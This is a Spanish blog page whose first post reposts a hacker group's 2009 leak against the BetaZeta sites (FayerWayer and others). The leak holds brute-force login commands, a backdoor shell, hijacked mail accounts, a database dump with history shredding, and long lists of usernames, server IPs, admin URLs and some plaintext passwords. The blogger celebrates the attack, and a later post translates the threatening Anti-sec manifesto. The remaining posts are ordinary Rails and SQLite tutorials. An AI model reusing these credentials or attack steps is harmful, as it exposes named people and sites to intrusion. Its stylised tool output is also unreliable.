Noche de hackers... FayerWayer Owned (F4Y3RW4Y3R PWN3D)

sábado, julio 11, 2009

Esta madrugada, cerca de la media noche, mientras leía la imagen que había publicado Anti-sec en los servidores de Imageshack me dispuse a revisar el RSS de FayerWayer a ver si encontraba alguna noticia interesante y mi sorpresa es que me consigo con la siguiente noticia: "F4Y3RW4Y3R PWN3D" y cuando la abro nada más y nada menos que esto (no tiene desperdicio):

|||||||||||||||||||||||||||||||||||||||||||||||||||||
[================== 1ns3c gr0up ====================]
[------- t1nky_w1nky - d1psy - l44_l44 - p0 -------]
___________ .___.____ __
\_ _____/ _ \ | | | ________ _____/ |______
| __)/ /_\ \| | | \___ // __ \ __\__ \
| \/ | \ | |___ / /\ ___/| | / __ \_
\___ /\____|__ /___|_______ \/_____ \\___ >__| (____ /
\/ \/ \/ \/ \/ \/

[======================| 0wn3d |=====================]
||||||||||||||||||||||||||||||||||||||||||||||||||||||

/*
* BetaFail (aka BetaZeta aka LoserZeta aka BetaWeeta -- thnx chilean dudes ^^)
* is a loser-blogger-network which claims to be experts on technology... so lets see!
*/


]====== 0x00 ======[ Index

[=-0x01-=] Affected domains
[=-0x02-=] Vulnerabilities
[=-0x03-=] Intrussion
[=-0x04-=] Data requesting
[=-0x05-=] Exposure
[=-0x06-=] Extras

-------------------------------------------------------------------------------

]====== 0x01 =======[ Affected Domains
+ The affected domains are:
|- http://www.betazeta.com
|- http://www.fayerwayer.com
|- http://www.theclinic.cl
|- http://www.saborizante.cl
|- http://leo.prieto.cl
|- http://www.betaid.org
|- http://www.wayerless.com
|- http://www.niubie.com
|- http://www.botonturbo.com
|- http://www.tecnosquad.com
|- http://www.chw.net
|- http://www.zetacorp.net
|- http://www.zimio.com
|- http://www.i2b.cl
|_/
-
-------------------------------------------------------------------------------
]====== 0x02 ======[ Vulnerabilities
/*
* So you can ask yourself, how can this be? Easy: if you set a weak
* password you have a weak security, if you store all your accounts in your mail
* you hace a weak security.
* -> JF aka JF10 aka Juan Francisco Diez has a 9 int long password, easy enought to
* been brute forced.
* -> Leo aka Leo Prieto has a 5 char + 3 int password (dictionary password).
* And so on... these dudes really don't know shit about security and lucky for us
* theirs servers were totally open for us (open legs?).
*/

-------------------------------------------------------------------------------
]====== 0x03 ======[ Intrussion
/* Hey ho, lets GO! */


(=| proof-of-concept |=)
/* First get get the silliest password ever from our very best friend JF on any of
* the services he uses: twitter, wordpress, etc.. (yes... really silly but he uses
* the same password for everything!):
*/

[1nf3ct3d@darkside:~]$ cat bruteforce-wordlist |bf -user=jf10 http://www.fayerwayer.com/wp-login.php
|===== expl0iting www.fayerwayer.com ====|
................................................................................
................................................................................
....................... FOUND! (2020229)
[1nf3ct3d@darkside:~]$ cat bruteforce-wordlist |bf -user='leo prieto' http://www.fayerwayer.com/wp-login.php
|===== expl0iting www.fayerwayer.com ====|
................................................................................
................................................................................
................................................................................
.................................................. FOUND! (macoy123)
[1nf3ct3d@darkside:~]$

/* Done. Now, search a prompt: */

[1nf3ct3d@darkside:~]$ telnet fayerwayer.com 37337
Trying 174.132.120.218...
Connected to fayerwayer.com.
Escape character is '^]'.
bash$

/* Now we can try with anything... say... gmail: */

[1nf3ct3d@darkside:~]$ ./gmail-delete.py -user jf10 -pass 2020229 http://mail.google.com/a/betazeta.com
Logged in.
Deleting
[================================================================================================] 100%
Changing user password ... OK
New password is: HuJucF53

/* Heh! Now lets play with Leo Prieto's stuff (again... same password almost
* for everything) */

[1nf3ct3d@darkside:~]$ ./gmail-delete.py -user leo -pass macoy123 http://mail.google.com/a/betazeta.com
Logged in.
Deleting
[================================================================================================] 100%
Changing user password ... OK
New password is: 4Gh4Fhb
[1nf3ct3d@darkside:~]$


-------------------------------------------------------------------------------
]====== 0x04 ======[ Data requesting
/* Wordpress has been infected ... now waiting for our data */

[1nf3ct3d@darkside:~]$ wget http://www.wayerless.com/wp-content/uploads/2008/12/sheet.jpg -o /dev/null
[1nf3ct3d@darkside:~]$ tail sheet.jpg
user: pass:
user: pass:
user: mr_self-destruct pass: ********
user: march3lo pass: marcel
user: mr_self-destruct pass: ********
user: mr_self-destruct pass: ********
user: sir_lestat pass: ********
user: asdsadfsadf pass: ********
user: Chok pass: ********
user: successor pass: ********
/* Amazing .... */
[1nf3ct3d@darkside:~]$ wc -l sheet.jpg
682 sheet.jpg
[1nf3ct3d@darkside:~]$ wget http://www.botonturbo.com/wp-content/uploads/2007/11/sheet.jpg -o /dev/null -O sheet2.jpg
[1nf3ct3d@darkside:~]$

/* Awesome! For each domain we repeat */


[1nf3ct3d@darkside:~]$ ssh betaid@betaid.org
Password:
betaid@betaid.org:~$ ls
app_error.php app_model.php config controllers htaccess.template httpdocs index.php locale models plugins tests tmp vendors views webroot
betaid@betaid.org:~$ cd config
betaid@betaid.org:~/config$ ls
acl.ini.php betaid.php bootstrap.php chile.sql core.php database.php entelpcs.php inflections.php openid.php routes.php sql
betaid@betaid.org:~$ grep -v \* database.php
class DATABASE_CONFIG {

var $default = array(
'driver' => 'mysql',
'persistent' => false,
'host' => 'localhost',
'login' => 'betaman', /* look at this! */
'password' => '********',
'database' => 'betaid_main',
'encoding'=> 'UTF8',
'prefix' => '',
);

var $test = array(
'driver' => 'mysql',
'persistent' => false,
'host' => 'localhost',
'login' => 'user',
'password' => '********',
'database' => 'test_database_name',
'prefix' => '',
);
}
betaid@betaid.org:~$
/* OMFG! Is a DB_delete_all_my_content password? */

betaid@betaid.org:~$ mysqldump -ubetaman -pbetapass betaid_main >../httpdocs/betaz.sql
betaid@betaid.org:~$ exit
[1nf3ct3d@darkside:~]$ wget http://www.betaid.org/betaz.sql -o /dev/null
[1nf3ct3d@darkside:~]$ ssh betaid@betaid.org "rm -rf httpdocs/betaz.sql && shred .bash_history"
Password:
[1nf3ct3d@darkside:~]$

/* Its time to infect betaid to obtain all data!. We modify controller/auth_controller.php and pump it up */

[1nf3ct3d@darkside:~]$ wget http://www.wayerless.com/wp-content/uploads/2008/11/audi-a3.jpg -o /dev/null
[1nf3ct3d@darkside:~]$ wc -l audi-a3.jpg
262 audi-a3.jpg
[1nf3ct3d@darkside:~]$ tail -5 audi-a3.jpg
user: zector pass: ********
user: chokolat pass: ********
user: andru pass: ********
user: angrod pass: ********
user: elmono pass: ********
[1nf3ct3d@darkside:~]$ perl http-delete.pl http://www.wayerless.com/wp-content/uploads/2008/11/audi-a3.jpg -u admin
admin's pwd:
1 file(s) deleted.
[1nf3ct3d@darkside:~]$

-------------------------------------------------------------------------------
]====== 0x05 ======[ Exposure
/* All that you want to see! THE DATA! */
/* Anyone want to twit? */
twitter.com:fayerwayer:f4y3rw4y3rdoesthisshit4realz
vimeo.com:fw@fayerwayer.com:gatoinalambrico

ZeroZen:
mail.google.com/a/zetacorp.net:zerozen:rtr944a5
gmail.com:zeroblogger:rtr944a5
www.google.com/a/betazeta.com:zerozen:rtr944a4

Mail:Pass
jf@betazeta.com:********
leo@betazeta.com:********

http://wayerless.com
user:sebastian pass: ********
user:rodrigo pass: ********
user:juaqion pass: ********
user: rodrigo pass: ********
user: admin pass: ********
user: frajola pass: ********

FayerWayer:
user: rodrigo pass: ********
user: admin pass:********
user: frajola pass:********
user: JF10 pass:********
user: sebastian pass:********
user: carlos pass:********
user: Amenadiel pass:********
user: hugo pass:********
user: admin pass:********
user: i2b pass:********
user: diego pass:********
user: leo prieto pass:********
user: diego pass:********
user: Diego pass:********
user: diego pass:********
user: ZeroZen pass:********
user: carlos pass:********
user: Ultraviolet pass:********
user: FelipeLang pass:********
user: Ultraviolet pass:********
user: eft0 pass:********
user: eft0@zetacorp pass:********

DB user fayerwayer
DB pass MysqlFayerwayer80

user: mr.chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr.chips pass:********
user: mr.chips pass:********
user: mr.chips pass:********
user: mr.chips pass:********
user: mr.chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: Boxbyte pass:********
user: admin pass:********
user: leoprieto@gmail.com pass: ********

URL: http://69.89.21.73:2082/frontend/bluehost/index.html
user: itwobcl
pass: ********

FTP
IP: 69.89.21.73
User: itwobcl
Pass: ********
---
Jabber
User: esteban@hs.i2b.cl
Pass: ********

Mail
SMTP: smtp.i2b.cl
Port: 587
POP: pop.i2b.cl
Port: 110
User and account: esteban.fernandez@i2b.cl
Pass: ********
---
Customer #: 18766006
Simple Control Panel
URL: https://72.167.52.30:9999
User: zetacorp
Pass: ********

phpmyadmin
URL: http://72.167.52.30/phpMyAdmin
User: root
Pass: ********

SSH
IP: 72.167.52.30
User: zetacorp
Pass: ********

Admin WP
http://www.fayerwayer.com/wp-admin

User: admin
Pass: ********

Admin Limesurvey
http://www.fayerwayer.com/limesurvey/admin
User: admin
Pass: ********

MySQL
User: root
Pass: ********

Backup
IP: 208.109.188.17
User: zetacorp
Pass: ********

PIX
https://72.167.52.79/
User: zetacorp
Pass: ********

ftp FW
Host: fayerwayer.i2b.cl
User: fayerwayer
Pass: ********

i2b
URL: www.bluehost.com
User: i2b.cl
Pass: ********

FTP ablog.i2b.cl
Host: 69.89.21.73
User: itwobcl
Pass: ********
Root Blog: /public_html/blog/

http://www.betazeta.com/wp-admin/
User: admin
Pass: ********

zimio.com (SCP)
User: zimio
Pass: ********

betazeta.com
FTP
User: betazeta
Pass: ********

wayerless.com
FTP
User: wayerless
Pass: ********

zetacorp.net
FTP
User: zetacorp
Pass: ********


Plesk
URL: https://64.13.250.71:8443
Username:admin
Password:********

SSH
Host: saborizante.com
User: efernadez
Pass: ********

Root
Pass: ********

Sites
Path: /var/www/vhosts/dominio

User name: eft0
Password : ********
http://betazetanet.seework.com

http://devwayerles.i2b.cl
Username: admin
Password: ********

BetaID
user: lpinto pass: ********
user: perovi pass: ********
user: nestorcarrasco pass: ********
user: volkova pass: ********
user: melkorazo pass: ********
user: melkorazo pass: ********
user: patofuqs pass: ********
user: patofuqs pass: ********
user: patofuqs pass: ********
user: patofuqs pass: ********
user: gagoner pass: ********
user: claudiomix pass: ********
user: Vidal pass: ********
user: vidal pass: ********
user: lorena pass: ********
user: Polin pass: ********
user: derangedwolf pass: ********
user: darkoy pass: ********
user: darkjano pass: ********
user: hetnet pass: ********
user: hetnet pass: ********
user: nivyii pass: ********
user: nivyii pass: ********
user: serroba pass: ********
user: don juan pass: ********
user: donjuan pass: ********
user: grouchomarx pass: ********
user: grouchomarx pass: ********
user: Evadix pass: ********
user: doruku pass: ********
user: neuroshark pass: ********
user: neuroshark pass: ********
user: andyolivares pass: ********
user: andyolivares pass: ********
user: firexcool pass: ********
user: noquierouser pass: ********
user: Ecodrive pass: ********
user: ecodrive pass: ********
user: masteralfe pass: ********
user: Juako pass: ********
user: talkover pass: ********
user: davidqs pass: ********
user: Thefx pass: ********
user: thefx pass: ********
user: sprite pass: ********
user: nachx00 pass: ********
user: nachx00 pass: ********
user: pass: ********
user: vagrant pass: ********
user: forbidden pass: ********
user: payazo pass: ********
user: mescalier pass: ********
user: ruffox pass: ********
user: khalebd pass: ********
user: fako85 pass: ********
user: patus pass: ********
user: jorge pass: ********
user: dsalgado pass: ********
user: joseph pass: ********
user: joseph pass: ********
user: manuel pass: ********
user: suikakuyu pass: ********
user: suikakuyu pass: ********
user: eduardo pass: ********
user: paz pass: ********
user: paz pass: ********
user: dickinsonh2k pass: ********
user: clarkxp pass: ********
user: laura pass: ********
user: Marmota pass: ********
user: zirex pass: ********
user: chinito46 pass: ********
user: lukas pass: ********
user: lukas pass: ********
user: Esperpento pass: ********
user: rvs pass: ********
user: davdor pass: ********
user: kmepartaunrayo pass: ********
user: hiroki pass: ********
user: jf10 pass: ********
user: ail pass: ********
user: JanoMac pass: ********
user: eldarberserker pass: ********
user: Nanolethal pass: ********
user: necrox pass: ********
user: rkstro pass: ********
user: Elias pass: ********
user: antony pass: ********+
user: turbomaster pass: ********
user: turbomaster pass: ********
user: turbomaster pass: ********
user: Foxtrot pass: ********
user: vortex pass: ********
user: vortex pass: ********
user: francofa pass: ********
user: saint pass: ********
user: wurrzag pass: ********
user: wurrzag pass: ********
user: wurrzag pass: ********
user: wurrzag pass: ********
user: infositio pass: ********
user: camilo_dxmg@live pass: ********
user: zector pass: ********
user: chokolat pass: ********
user: andru pass: ********
user: angrod pass: ********
user: elmono pass: ********


-------------------------------------------------------------------------------
]====== 0x06 ======[ Extras
/* Do you remember when CHW was erradicated?
* Oh wait. Remember bootlog too? ;-)
* -- That's was the OPPORTUNITY which BetaZeta has to set a REAL security-policy
*
* Wanna download the betaid source code? Here:
*
* http://rapidshare.com/files/254417420/betaid.org.zip.html
* http://www.megaupload.com/?d=8FT5KYTP
*
*
* Direct message to JF: Be more humble, piece of shit.
* Seeya in the next issue!
*/



/* Dud3s! Y0u've been pwn3d by teletubbies! */

EOF


Los servidores afectados fueron todos los de BetaZeta (por eso el ataque se llamó FailZeta). Realmente les dieron duro. Los dejaron... DESNUDOS!

La gente de FayerWayer aún está llorando por Twitter y por otros sitios, pero creo que en lugar de llorar y decir que la seguridad de sus servidores no fue comprometida deberían aprender la lección:

No utilicen contraseñas de niños si tienen servicios conocidos o populares en internet, porque puede venir un teletubbie y ZAZZZZ en toda la boca, pa' que aprendan a ser serios ;)

Esta si que ha sido una noche realmente movida YAY! xD

Actualizado: Por petición de la gente de FayerWayer he quitado todas las contraseñas de los usuarios involucrados

Imageshack hackeado!

viernes, julio 10, 2009

Hace unos minutos estaba cambiando un poco el look & feel del blog y cuando recargo la página me encuentro con que la imagen de fondo (almacenada en imageshack) se ve un poco... diferente :S



Al parecer un grupo en contra del "acceso total" que ofrecen grandes compañias para vender sus rancios firewalls, antivirus famélicos y otros programas escatológicos para "ayudar" a la gente han decidido hacer escuchar su voz a través de un servicio tan concurrido como Imageshack.

Después del salto pueden ver la imagen que ha colocado el grupo en su completa extensión.



A continuación traduzco textualmente:

imageshack

Presenta con orgullo...

Anti-sec. Somos un movimiento dedicado a la erradicación del acceso total. Quisimos darle a todos una imagen de lo que nos referimos.

El acceso total es el acceso a los exploits públicos - en todas partes. La industria de la seguridad usa el acceso total para beneficiarse y desarrollar tácticas de terro para convencer a la gente de comprar sus firewalls, anti-virus y servicios de auditoría.

Mientras tanto, scripts de juguete copian y pegan esos exploits y los compilan, listos para atacar a todos los servidores vulnerables que puedan. Si los de cuello blanco realmente estuvieran por la seguridad esta cosa no se publicaría, ni siquiera exploits con ediciones tontas para hacerlos ligeramente inusables.

Como bono adicional, si la publicación no fuera suficiente, esos exploits se replican y distribuyen ampliamente a través de Internet con una linda publicidad incrustada en ellos para el equipo o website que expusó primero la vulnerabilidad al público.

Es por dinero. Mientras resulta difícil cambiar el mundo, y el dinero ciertamente continua siendo importante en ojos de muchos, nuestra batalla es por la remoción del acceso total con la finalidad de ponérsela difícil a la industría de la seguridad y explotar sus consecuencias.

Es nuestra meta que, a través de la mutilación y la destrucción de todos las comunidades perjudiciales, de exploits, compañías e individuos, el acceso total sea abandonado y la industria de la seguridad se vea forzada a reformarse.

¿Cómo pretendemos lograr esto? A través de la eliminación completa, implacable y sin piedad de todos los que apoyan el acceso total y a la industria de la seguridad en su forma actual. Si posees un blog sobre seguridad, sitios web de publicación de exploits o distribuyes cualquier exploit... "eres un objetivo y serás eliminado. Solo es cuestión de tiempo."

Esto no es como antes. Esta vez todos y todo será poseido

Firma: El Movimiento Anti-sec

Ninguna imagen fue herida en la elaboración de esta... imagen.


¿Interesante no? Saludos

Ruby on Rails Inflector en español

lunes, junio 22, 2009

El módulo Inflectors de Ruby on Rails transforma palabras de singular a plural, nombres de clases a nombres de tablas, nombres de clases a claves foráneas, entre otros. Sin embargo éste módulo no soporta pluralización en español.

Si quieremos reemplazar la pluralización que trae por defecto Rails (inglés) y crear la nuestra en español solo debemos agregar estas reglas al final del archivo config/environment.rb:

# Limpiamos todas las inflecciones existentes
Inflector.inflections.clear

# Agregamos las reglas de inflección
Inflector.inflections do |inflect|
inflect.plural /([taeiou])([A-Z]|_|\$)/, '\1s\2'
inflect.plural /([rlnd])([A-Z]|_|$)/, '\1es\2'
inflect.singular /([taeiou])s([A-Z]|_|$)/, '\1\2'
inflect.singular /([rlnd])es([A-Z]|_|$)/, '\1\2'
end

La primera regla dice algo como: "Todas las palabras que terminen en t, a, e, i, o, u y que luego tengan una letra mayúscula, un underscore o un fin de línea entonces se pluralizan con S", mientras que la segunda regla dice: "Todas las palabras que terminen en r, l, n, d y que luego tengan una letra mayúscula, un underscore o un fin de línea entonces se pluralizan con ES". Las reglas tres y cuatro se interpretan siguiendo el mismo criterio pero de forma inversa. Así, "casa" se pluraliza como "casas" y "canción" se pluraliza como "canciones".

Dejaré como tarea para el lector estudiar de manera detallada las expresiones regulares usadas en las reglas, pero les dejaré una pista:
Es necesario recordar que en una expresión regular los paréntesis son signos de agrupación y cada expresión entre paréntesis corresponde a un grupo. Se puede hacer referencia a la expresión asociada a un grupo mediante una barra invertida "\" y el número del grupo. Es por eso que en la expresión regular del Inflector se usa el \1 y el \2

Con el código anterior ya tenemos configurada nuestra pluralización en español. Podemos probarla agregando el código a un proyecto existente y abriendo una consola de Rails:
$ cd proyecto_existente_de_rails
$ script/console
Loading development environment.
>>'prueba'.pluralize
=> "pruebas"

Observamos que ahora el string 'prueba' está en plural. Sin embargo existe un bug en la versión 1.2.6 de Rails (quizás esté corregido en las versiones posteriores pero aún no lo he confirmado) y es que si intentamos pluralizar un string que contenga expresiones que cumplan ambos patrones del inflector entonces obtendremos una sola palabra pluralizada, por ejemplo:
>>'prueba_cancion'.pluralize
=> "prueba_canciones"

Se debe extender la clase Inflector y modificar los métodos pluralize y singularize. El código lo podemos insertar en el mismo archivo config/environment.rb y sería algo como:

# Extender la clase Inflector
module Inflector
def pluralize(word)
result = word.to_s.dup

if word.empty? || inflections.uncountables.include?(result.downcase)
result
else
inflections.plurals.each { |(rule, replacement)| result.gsub!(rule, replacement) }
result
end
end

def singularize(word)
result = word.to_s.dup
if inflections.uncountables.include?(result.downcase)
result
else
inflections.singulars.each { |(rule, replacement)| result.gsub!(rule, replacement) }
result
end
end
end

Si revisamos el código fuente de los métodos pluralize y singularize veremos que la diferencia está en la instrucción break if en las líneas 112 y 132 respectivamente:
112:   inflections.plurals.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
...
132: inflections.singulars.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }

Solo debemos eliminar ese par de instrucciones para que entonces la regla sea aplicable a más de un patrón al mismo tiempo.

Por los momentos es todo. Espero sea de utilidad este pequeño pero interesante tip

La Aventura de Ruby on Rails (Parte 3): Hola Mundo

martes, abril 21, 2009


Con la instalación de Rails obtenemos un nuevo comando de consola, rails, que se usa para construir una nueva aplicación web.

Se preguntarán: ¿Por qué demonios necesito un comando para crear un nuevo proyecto? o quizás digan: Soy un programador que dobla cucharas con la mente ¿Por qué no puedo crear mi proyecto desde cero usando mi editor de texto favorito? Bueno, de hecho, sí se puede crear un proyecto de Rails usando solo un editor de texto y algunos directorios, pero resulta que el comando rails hace un montón de magia tras la cortina para que nuestra aplicación trabaje OUT OF THE BOX con la mínima configuración explícita. Es importante resaltar que la filosofía de Rails es "Convención sobre Configuración".

Además de toda la magia para evitar la configuración, Rails tiene una estructura de directorios muy interesante y cada uno tiene una función bien definida. La imagen a continuación muestra la estructura de un proyecto llamado test:




  • app: Contiene los archivos de Modelo, Vista y Controlador

  • components: Almacena los componentes reutilizables

  • controllers: Guarda todos los controladores

  • helpers: Almacena modulos utilitarios de las vistas

  • models: Contiene todos los modelos

  • views: Almacena todas las vistas

  • config: Guarda toda la información de configuración del proyecto y los parametros de conexión a la base de datos

  • db: Contiene la información de los esquemas y de las migraciones de la base de datos

  • doc: Almacena la documentación autogenerada

  • lib: Aloja todo el código que no pertenece exclusivamente a la aplicación (plugins, etc)

  • log: Almacena los reportes producidos por la aplicación (y por el framework)

  • public: Es la cara externa de la aplicación. El servidor web lo toma como directorio base de la aplicación y lo accesible desde el navegador.

  • script: Guarda todos los scripts utilitarios de Rails

  • test: Contiene los test unitarios, test funcionales, mocks y fixtures

  • tmp: Almacena los archivos temporales de sesiones, cache y cookies

  • vendor: Cumple la misma función que lib pero para el código de terceras partes


Lo que realmente nos interesa por los momentos es la carpeta app y todo su contenido; ahí es donde ocurrirá toda la diversión xD

Vamos a crear entonces nuestra primera aplicación de prueba para demostrar los conceptos básicos. Abrimos un terminal y navegamos hasta el directorio donde queremos crear el proyecto, luego ejecutamos:

$ rails test
create
create app/controllers
create app/helpers
create app/models
.. ..
.. ..
create log/production.log
create log/development.log
create log/test.log


Ese comando crea el directorio test con toda la parafernalia y la magia de Rails (directorios, configuraciones, etc). Probemos ahora el script utilitario server para cargar WEBrick (un servidor web que trae Ruby por defecto) y verificar que todo está en orden.

$ ruby script/server
=> Booting WEBrick...
=> Rails application started on http://0.0.0.0:3000
=> Ctrl-C to shutdown server; call with --help for options
[2009-04-21 11:37:30] INFO WEBrick 1.3.1
[2009-04-21 11:37:30] INFO ruby 1.8.7 (2008-08-11) [i486-linux]
[2009-04-21 11:37:30] INFO WEBrick::HTTPServer#start: pid=5199 port=3000


Vamos a nuestro navegador favorito y accedemos a la aplicación con la ruta http://localhost:3000. WEBrick usa por defecto el puerto 3000 pero podemos cambiarlo al puerto de nuestra preferencia ejecutando el server con el parámetro -p y el número del puerto, por ejemplo:

$ ruby script/server -p 8080



Rails es un framework netamente MVC y como tal se basa en un flujo de información de un componente a otro. Primero acepta la solicitud proveniente de un navegador, decodifica la petición para encontrar el controlador y llama una acción de ese controlador. El controlador entonces invoca una vista particular para mostrar el resultado de vuelta al usuario.

Para crear nuestro Hola Mundo necesitamos un controlador y una vista. No hace falta un modelo ya que no estaremos trabajando con ningún tipo de datos.

Así como usamos el comando rails para generar el proyecto, usaremos el script generate para crear un controlador. Supongamos que queremos llamar a nuestro controlador Prueba:

$ ruby script/generate controller Prueba
exists app/controllers/
exists app/helpers/
create app/views/prueba
exists test/functional/
create app/controllers/prueba_controller.rb
create test/functional/prueba_controller_test.rb
create app/helpers/prueba_helper.rb


El controlador se ha creado en app/controllers/prueba_controller.rb. Si examinamos el código fuente veremos algo como:

class PruebaController < ApplicationController
end


El controlador es bastante simple, una clase PruebaController que hereda de ApplicationController y por consiguiente tiene todos sus métodos. Es importante resaltar que Rails usa una convención de nombres que poco a poco iremos conociendo, por ejemplo para los nombres de las clases usa el estilo CamelCase, para los nombres de los métodos usa minúsculas separadas por guión bajo y así sucesivamente.

Ahora nos toca personalizar un poco nuestra nueva clase; agreguemos una acción llamada saludar:

class PruebaController < ApplicationController
def saludar
end
end


Por los momentos la acción saludar no hará nada porque la tarea del controlador es preparar el terreno y la información para que la vista sepa qué mostrar. En esta aplicación no hay nada que preparar, así que una acción vacía será más que suficiente.

Veamos como acceder a esta nueva acción. Rails asocia las URL con la aplicación; la primera parte de la URL identifica la aplicación, la siguiente el controlador y la última la acción a invocar. El siguiente ejemplo ilustra mejor:



Si vamos a esa URL en nuestro navegador veremos una página como la siguiente:



No hay que alarmarse por el error, se debe a que hemos definido un controlador con una acción pero no hemos creado una vista. Las vistas deben ir asociadas con las acciones del controlador y se almacenan en el directorio app/views. Allí deberiamos tener un directorio por cada controlador creado y dentro de esos directorios van las vistas de cada acción. En este caso debemos crear una vista llamada saludar.rhtml dentro del directorio app/views/prueba. El código fuente de esa vista debería ser algo como:

<html>
<head>
<title>Hola Mundo</title>
</head>
<body>
<h1>Hola Mundo! desde Rails</h1>
</body>
</html>


Intentemos de nuevo abrir la dirección http://locahost:3000/prueba/saludar en nuestro navegador y voilá! Ahora si tenemos una vista =D



Hasta el momento nuestra página es vulgar y aburrida... vamos a cambiar esa situación; ¡agreguemos contenido más dinámico!

Una de las formas más simples de añadir contenido dinámico a una vista es incrustando código Ruby al más puro estilo PHP. Las vistas deben tener extensión .rhtml, porque de esa forma le indicamos a Rails que ese archivo debe ser interpretado usando el sistema ERb (de Embbeded Ruby).

Todo el contenido escrito en HTML es pasado al navegador directamente pero el contenido que esté encerrado entre los símbolos <%= y %> es intrepetado y ejecutado como código Ruby. El resultado de esa ejecución se convierte a cadena de texto y se reemplaza in situ por la secuencia anterior para entonces generar una salida HTML pura hacía el navegador.

Aclarado ese punto pasemos al controlador para preparar la información que mostrará la vista. Calculemos, por ejemplo, la hora actual agregando unas líneas al controlador. El código debería quedar así:

class PruebaController < ApplicationController
def saludar
t = Time.now
@time = t.strftime('%H:%m:%S')
end
end


Y ahora actualizamos la vista para que muestre la variable @time:

<html>
<head>
<title>Hola Mundo!</title>
</head>
<body>
<h1>Hola Mundo! desde Rails</h1>
<p>Son las <%= @time %></p>
</body>
</html>


Ruby suele definir las variables de una clase con una arroba (@) al comienzo del nombre. Para enviar contenido a la vista usamos estas variables de instancia del controlador, pero... ¿Cómo puede la vista leer una variable que es privada del controlador? Pues sencillo, Rails hace una de David Cooperfield para que la vista pueda leer a la fulana variable xD.

Sin más preámbulo, nuestra aplicación debería verse así:



Esta página no es la madre del dinamismo pero al menos cambiará con cada actualización xD

Aquí termina el Hola Mundo. Más adelante estaré publicando una aplicación un poco más elaborada donde se use una base de datos e interactuemos con los modelos.

Cambio y fuera.

Cómo usar SQLite en Python

domingo, abril 12, 2009

SQLite (para los que no la conocen) es una pequeña librería que nos permite manejar bases de datos relacionales y transaccionales, sin necesidad de servidor, sin configuración y almacenadas en un solo archivo en la máquina host.

En otras palabras, nuestra base de datos no es más que un archivo almacenado localmente al que nuestra aplicación tendrá acceso mediante llamadas a las rutinas de la librería como en los viejos tiempos. Symbian, Mozilla, Bloomberg y Adobe son solo algunos pequeños usuarios de esta poderosa librería.

Este tutorial está desarrollado usando Debian Squeeze (testing), Python 2.5.4 y SQLite 3. Empezamos por instalar los paquetes necesarios:

# aptitude install python-pysqlite2 sqlitebrowser

Pysqlite2 es un binding de SQLite para python y el sqlitebrowser es una aplicación que nos permitirá administrar la base de datos. Ejecutamos el browser desde un terminal:

$ sqlitebrowser



Vamos al menú File -> New Database para crear una nueva base de datos, le indicamos la ruta y el nombre, para nuestro ejemplo será test.db.



Luego, vamos al menú Edit -> Create Table y creamos una nueva tabla llamada Usuarios con los siguientes campos:

id -> INTEGER PRIMARY KEY
nombre -> TEXT
edad -> NUMERIC
correo -> TEXT
url -> TEXT
visitas -> NUMERIC


Imaginemos que esta tabla es para manejar un sistema donde registraremos a los usuarios que visitan nuestra página web y almacenamos el número de visitas de cada uno (sí, lo se... apesta, pero fue lo mejor que se me ocurrió como ejemplo :S). Debería quedarnos algo así:



Luego que estemos conformes hacemos click en el botón Create y guardamos los cambios en File -> Save Database.

Ahora vamos con la parte divertida, creamos un nuevo archivo de texto con nuestro editor favorito (el mío es SciTE) y lo guardamos como test.py en la misma carpeta donde guardamos la base de datos.

Lo primero que necesitamos para conectarnos a esa base de datos es importar la librería:

import sqlite3

Hacemos la conexión:

connection = sqlite3.connect('test.db')

La mayoría de las operaciones sobre la base de datos se hacen usando un cursor; un objeto que apunta a la base de datos y a través del cual podemos ejecutar instrucciones similares al SQL estándar (pero no idénticas) para obtener, insertar, actualizar o borrar registros.

cursor = connection.cursor()

Muy bonito todo pero se preguntarán ¿Cómo insertamos registros?. La forma recomendada según el librito es usar placeholders (marcadores de posición) puesto que si armamos la cadena usando variables de Python corremos el riesgo de que nos hagan SQL Injection. Es decir, en lugar de hacer esto:

user = 'pedro'
cursor.execute("SELECT * FROM tabla WHERE usuario = '%s'" % user)


Debemos usar tuplas y hacer esto:

user = ('pedro',)
cursor.execute('SELECT * FROM tabla WHERE usuario =?', t)


Insertemos entonces algunos datos para rellenar esa insípida tabla. Primero creamos un arreglo donde esté toda la información a insertar (en este caso es así porque vamos a insertar muchos datos, pero también podemos hacerlo uno por uno)


datos = [
('Pedro Perez', 34, 'pperez@tucorreo.com', '', 4),
('Maria Gomez', 25, 'maria@sucorreo.com', '', 7),
('Pablo Rodriguez', 41, 'pablor@elcorreo.com', 'www.pablo.com', 3),
]


Ahora usamos un iterador para recorrer el arreglo e insertarlo:
for t in datos:
cursor.execute('INSERT INTO Usuarios (nombre,edad,correo,url,visitas) VALUES (?,?,?,?,?)', t)


Pero esperen, aún no hemos completado la tarea. SQLite es un gestor transaccional por lo que debemos realizar "la transacción" usando el comando commit, de lo contrario ningún cambio se hará efectivo sobre el archivo. Esto aplica para todas las operaciones que modifican la base de datos (léase INSERT, UPDATE, DELETE, etc).

connection.commit()

¡Qué bien! Ya sabemos insertar registros, ya nuestra base de datos no es tan insípida ;)

Ahora veamos como obtener la información que acabamos de guardar. Esto es tan sencillo como estructurar la búsqueda y ejecutarla.

Primero veamos como listar todos los registros:

cursor.execute('SELECT * FROM Usuarios')
for row in cursor:
print row

Esto nos imprime en el terminal algo como:

(u'pperez@tucorreo.com', 34, 1, u'Pedro Perez', u'', 4)
(u'maria@sucorreo.com', 25, 2, u'Maria Gomez', u'', 7)
(u'pablor@elcorreo.com', 41, 3, u'Pablo Rodriguez', u'www.pablo.com', 3)


Y si queremos una búsqueda más específica podemos hacer algo como lo siguiente para buscar el nombre y las visitas de todos los registros con id igual a 1:

id = (1, )
cursor.execute("SELECT nombre, visitas FROM Usuarios WHERE id=?", id)
for row in cursor:
print "%s ha realizado %i visitas" % (row[0], row[1])

Para obtener:

Pedro Perez ha realizado 4 visitas

Vamos ahora a actualizar un registro. Es tan fácil como realizar una búsqueda pero usando el comando UPDATE; le decimos qué tabla vamos a actualizar, los campos con sus nuevos valores y la condición que identifica al registro. Para actualizar la edad de Pablo a 24 sería algo como:

values = (24, 'pablor@elcorreo.com', )
